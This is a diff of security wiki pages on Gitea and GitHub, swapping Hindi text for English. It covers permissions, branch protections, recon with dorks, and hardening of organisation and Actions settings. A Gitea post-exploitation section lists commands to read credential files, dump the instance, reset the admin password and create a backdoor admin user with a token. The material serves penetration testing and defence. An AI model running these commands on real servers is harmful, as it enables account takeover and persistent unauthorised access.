As explained in the basic information, the application will have **full access over the user account**.
|
||||
|
||||
### Branch Protection Bypass
|
||||
|
||||
Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच** के साथ एक **टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में यह **मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है:
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
|
||||
- **पुश सक्षम करें**: यदि किसी के पास ब्रांच पर पुश करने की लेखन पहुंच है, तो बस इसे पुश करें।
|
||||
- **प्रतिबंधित पुश के लिए व्हाइटलिस्ट**: इसी तरह, यदि आप इस सूची का हिस्सा हैं तो ब्रांच पर पुश करें।
|
||||
- **मर्ज व्हाइटलिस्ट सक्षम करें**: यदि एक मर्ज व्हाइटलिस्ट है, तो आपको इसके अंदर होना चाहिए।
|
||||
- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करना होगा।
|
||||
- **व्हाइटलिस्टेड के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करना होगा।
|
||||
- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपना कोड इंजेक्ट कर सकें और PR को मर्ज कर सकें।
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
|
||||
ध्यान दें कि **यदि आप एक संगठन/रेपो प्रशासक हैं** तो आप सुरक्षा को बायपास कर सकते हैं।
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
|
||||
### Enumerate Webhooks
|
||||
|
||||
**वेबहुक्स** कुछ स्थानों पर **विशिष्ट gitea जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\
|
||||
हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो बाहरी उपयोगकर्ताओं को **उस वेबहुक का शोषण** करने से **रोकता** है जो URL जानते हैं लेकिन गुप्त नहीं जानते।\
|
||||
लेकिन कुछ अवसरों पर, लोग **गुप्त** को इसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त जानकारी** और अन्य स्थानों को खोजने की अनुमति दे सकता है जहाँ आप आगे शोषण कर सकते हैं।
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
|
||||
वेबहुक्स को **रेपो और संगठन स्तर पर** सेट किया जा सकता है।
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
### Inside the server
|
||||
|
||||
यदि आप किसी तरह उस सर्वर के अंदर पहुँच गए जहाँ gitea चल रहा है, तो आपको gitea कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है।
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
|
||||
इस फ़ाइल में आप **कुंजी** और **पासवर्ड** पा सकते हैं।
|
||||
In this file you can find **keys** and **passwords**.
|
||||
|
||||
gitea पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे:
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
|
||||
- **sqlite** DB: यदि gitea एक बाहरी db का उपयोग नहीं कर रहा है, तो यह एक sqlite db का उपयोग करेगा।
|
||||
- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (gitea सत्रों को DB के अंदर भी सहेज सकता है)।
|
||||
- **jwt निजी कुंजी** jwt फ़ोल्डर के अंदर।
|
||||
- इस फ़ोल्डर में अधिक **संवेदनशील जानकारी** मिल सकती है।
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
|
||||
यदि आप सर्वर के अंदर हैं, तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं:
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` gitea को डंप करेगा और एक .zip फ़ाइल बनाएगा।
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार (स्थायी) का एक टोकन उत्पन्न करेगा।
|
||||
- `gitea admin user change-password --username admin --password newpassword` पासवर्ड बदलें।
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया प्रशासक उपयोगकर्ता बनाएँ और एक एक्सेस टोकन प्राप्त करें।
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,100 +4,103 @@
|
||||
|
||||
## Basic Structure
|
||||
|
||||
बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं।
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
|
||||
इसके अलावा, एक **उपयोगकर्ता** **विभिन्न संगठनों** का **सदस्य** हो सकता है। संगठन के भीतर, उपयोगकर्ता के पास **प्रत्येक रिपोजिटरी पर विभिन्न अनुमतियाँ** हो सकती हैं।
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
|
||||
एक उपयोगकर्ता **विभिन्न टीमों** का भी **भाग** हो सकता है जिनके पास विभिन्न रिपोजिटरी पर विभिन्न अनुमतियाँ होती हैं।
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
|
||||
और अंत में, **रिपोजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं।
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Permissions
|
||||
|
||||
### Organizations
|
||||
|
||||
जब एक **संगठन बनाया जाता है**, तो एक टीम जिसे **Owners** कहा जाता है, **बनाई जाती है** और उपयोगकर्ता को इसके अंदर रखा जाता है। यह टीम **संगठन** पर **व्यवस्थापक पहुंच** प्रदान करेगी, ये **अनुमतियाँ** और टीम का **नाम** **संशोधित नहीं किया जा सकता**।
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
|
||||
**Org admins** (owners) संगठन की **दृश्यता** का चयन कर सकते हैं:
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
|
||||
- सार्वजनिक
|
||||
- सीमित (लॉग इन उपयोगकर्ताओं के लिए केवल)
|
||||
- निजी (सदस्यों के लिए केवल)
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
|
||||
**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** **टीमों के लिए पहुंच जोड़ या हटा सकते हैं**। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं।
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
|
||||
नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं:
|
||||
When creating a new team, several important settings are selected:
|
||||
|
||||
- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुंच प्राप्त कर सकेंगे**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहां टीम जोड़ी गई है) या सभी।
|
||||
- यह भी संकेत दिया गया है **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी)
|
||||
- **रिपोजिटरी के सदस्यों के पास **अनुमतियाँ** होंगी:
|
||||
- **व्यवस्थापक** पहुंच
|
||||
- **विशिष्ट** पहुंच:
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
|
||||
एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। संभावित **भूमिकाएँ** **3** हैं:
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
|
||||
- व्यवस्थापक
|
||||
- लिखें
|
||||
- पढ़ें
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
|
||||
## Gitea Authentication
|
||||
|
||||
### Web Access
|
||||
|
||||
**उपयोगकर्ता नाम + पासवर्ड** का उपयोग करना और संभावित रूप से (और अनुशंसित) 2FA।
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जो संबंधित **निजी कुंजी को आपके पक्ष में कार्य करने की अनुमति देती हैं।** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**।
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच प्रदान करता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
व्यक्तिगत पहुंच टोकनों की तरह **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** प्राप्त करेंगे जहां आपके खाते को पहुंच प्राप्त है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेत दिया गया है, स्कोप अभी तक समर्थित नहीं हैं:
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
|
||||
Deploy keys को रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती है, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकते हैं।
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने में सक्षम होने से पहले कई सुरक्षा विधियाँ लगाई जाएं**।
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_ में पाई जा सकती है।
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> संगठन स्तर पर शाखा सुरक्षा सेट करना **संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए।
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर):
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- **Push निष्क्रिय करें**: कोई भी इस शाखा पर पुश नहीं कर सकता
|
||||
- **Push सक्षम करें**: कोई भी जिसे पहुंच प्राप्त है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता।
|
||||
- **Whitelist Restricted Push**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं)
|
||||
- **Enable Merge Whitelist**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं।
|
||||
- **Enable Status checks:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है।
|
||||
- **Require approvals**: एक PR को मर्ज करने से पहले आवश्यक अनुमतियों की संख्या को इंगित करें।
|
||||
- **Restrict approvals to whitelisted**: उन उपयोगकर्ताओं/टीमों को इंगित करें जो PRs को अनुमोदित कर सकते हैं।
|
||||
- **Block merge on rejected reviews**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (भले ही अन्य जांच पास हों)
|
||||
- **Block merge on official review requests**: यदि आधिकारिक समीक्षा अनुरोध हैं तो इसे मर्ज नहीं किया जा सकता
|
||||
- **Dismiss stale approvals**: जब नए कमिट होते हैं, तो पुराने अनुमोदन को खारिज कर दिया जाएगा।
|
||||
- **Require Signed Commits**: कमिट को हस्ताक्षरित होना चाहिए।
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: परिवर्तनों के खिलाफ सुरक्षा/असुरक्षित करने के लिए फ़ाइलों के पैटर्न को इंगित करें
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
|
||||
> [!NOTE]
|
||||
> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी सुरक्षा में हो सकती हैं जिससे आप उदाहरण के लिए मास्टर पर कोड पुश नहीं कर सकते** ताकि CI/CD पाइपलाइन को समझौता किया जा सके।
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## What is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) एक उच्च स्तर पर, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी**।
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
|
||||
### Basic Information
|
||||
|
||||
@@ -14,19 +14,19 @@ basic-github-information.md
|
||||
|
||||
## External Recon
|
||||
|
||||
Github रिपॉजिटरी को सार्वजनिक, निजी और आंतरिक के रूप में कॉन्फ़िगर किया जा सकता है।
|
||||
Github repositories can be configured as public, private and internal.
|
||||
|
||||
- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे
|
||||
- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) ही इसे एक्सेस कर सकेंगे
|
||||
- **Public** का मतलब है कि **सभी इंटरनेट** इसे एक्सेस कर सकेगा।
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
|
||||
यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं**, तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं।
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github **किसी चीज़ को खोजने की अनुमति देता है, जिसमें एक उपयोगकर्ता, एक रिपॉजिटरी या एक संगठन को स्कोप के रूप में निर्दिष्ट किया गया है**। इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी के लिए खोज सकते हैं**।
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
|
||||
Tools (प्रत्येक टूल में इसके dorks की सूची होती है):
|
||||
Tools (each tool contains its list of dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
@@ -34,22 +34,22 @@ Tools (प्रत्येक टूल में इसके dorks की
|
||||
|
||||
### Github Leaks
|
||||
|
||||
कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी की खोज करेंगे** (यहां तक कि कुछ गहराई के कमिट की जांच करना)।
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
|
||||
Tools (प्रत्येक टूल में इसके regexes की सूची होती है):
|
||||
Tools (each tool contains its list of regexes):
|
||||
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> जब आप किसी रिपॉजिटरी में लीक की खोज करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि वहाँ **अन्य शाखाएँ हो सकती हैं जिनमें अन्य कमिट्स** हो सकते हैं जिनमें रहस्य हो सकते हैं!
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
|
||||
### External Forks
|
||||
|
||||
यह **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता करना संभव है**। यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता होती है। [**इससे संबंधित अधिक जानकारी नीचे**](#execution-from-a-external-fork)।
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
यहां तक कि यदि यह हटा दिया गया है या आंतरिक है, तो github रिपॉजिटरी के forks से संवेदनशील डेटा प्राप्त करना संभव हो सकता है। इसे यहां देखें:
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
@@ -59,179 +59,192 @@ accessible-deleted-data-in-github.md
|
||||
|
||||
### Member Privileges
|
||||
|
||||
संस्थान के **सदस्यों** को कुछ **डिफ़ॉल्ट विशेषाधिकार** सौंपे जा सकते हैं। इन्हें पृष्ठ `https://github.com/organizations/<org_name>/settings/member_privileges` से या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है।
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Base permissions**: सदस्यों को संगठन की रिपॉजिटरी पर None/Read/write/Admin की अनुमति होगी। अनुशंसित है **None** या **Read**।
|
||||
- **Repository forking**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी को fork करने की **अनुमति न दें**।
|
||||
- **Pages creation**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी से पृष्ठ प्रकाशित करने की **अनुमति न दें**। यदि आवश्यक हो, तो आप सार्वजनिक या निजी पृष्ठ बनाने की अनुमति दे सकते हैं।
|
||||
- **Integration access requests**: इसे सक्षम करने पर बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुंच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक होता है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है।
|
||||
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
|
||||
- **Repository visibility change**: यदि सक्षम है, तो **सदस्य** जिनके पास **रिपॉजिटरी** के लिए **admin** अनुमतियाँ हैं, वे **इसके दृश्यता को बदलने** में सक्षम होंगे। यदि अक्षम है, तो केवल संगठन के मालिक ही रिपॉजिटरी की दृश्यता बदल सकते हैं। यदि आप नहीं चाहते कि लोग चीजों को **सार्वजनिक** बनाएं, तो सुनिश्चित करें कि यह **अक्षम** है।
|
||||
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
|
||||
- **Repository deletion and transfer**: यदि सक्षम है, तो सदस्यों के पास **admin** अनुमतियाँ होने पर वे सार्वजनिक और निजी **रिपॉजिटरी को **हटाने** या **स्थानांतरित** करने में सक्षम होंगे।
|
||||
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
|
||||
- **Allow members to create teams**: यदि सक्षम है, तो संगठन का कोई भी **सदस्य** नए **टीम** बनाने में सक्षम होगा। यदि अक्षम है, तो केवल संगठन के मालिक नए टीम बना सकते हैं। इसे अक्षम रखना बेहतर है।
|
||||
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
|
||||
- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।**
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
|
||||
### Actions Settings
|
||||
|
||||
कई सुरक्षा से संबंधित सेटिंग्स को पृष्ठ `https://github.com/organizations/<org_name>/settings/actions` से कॉन्फ़िगर किया जा सकता है।
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
|
||||
- **Github actions policies**: यह आपको यह संकेत करने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें।
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: अनुशंसित है कि **सभी** बाहरी सहयोगियों के लिए अनुमोदन की आवश्यकता हो।
|
||||
- _मैंने इस जानकारी के साथ कोई API नहीं पाया, यदि आप करते हैं तो साझा करें_
|
||||
- **Run workflows from fork pull requests**: यह अत्यधिक **निषेधित है कि पुल अनुरोधों से कार्यप्रवाह चलाए जाएं** क्योंकि fork मूल के रखरखावकर्ताओं को स्रोत रिपॉजिटरी पर पढ़ने की अनुमतियों के साथ टोकन का उपयोग करने की क्षमता दी जाएगी।
|
||||
- _मैंने इस जानकारी के साथ कोई API नहीं पाया, यदि आप करते हैं तो साझा करें_
|
||||
- **Workflow permissions**: यह अत्यधिक अनुशंसित है कि **केवल पढ़ने की रिपॉजिटरी अनुमतियाँ** दी जाएं। GITHUB_TOKEN का दुरुपयोग करने से बचने के लिए लिखने और पुल अनुरोधों को बनाने/स्वीकृत करने की अनुमतियाँ देना हतोत्साहित किया जाता है।
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
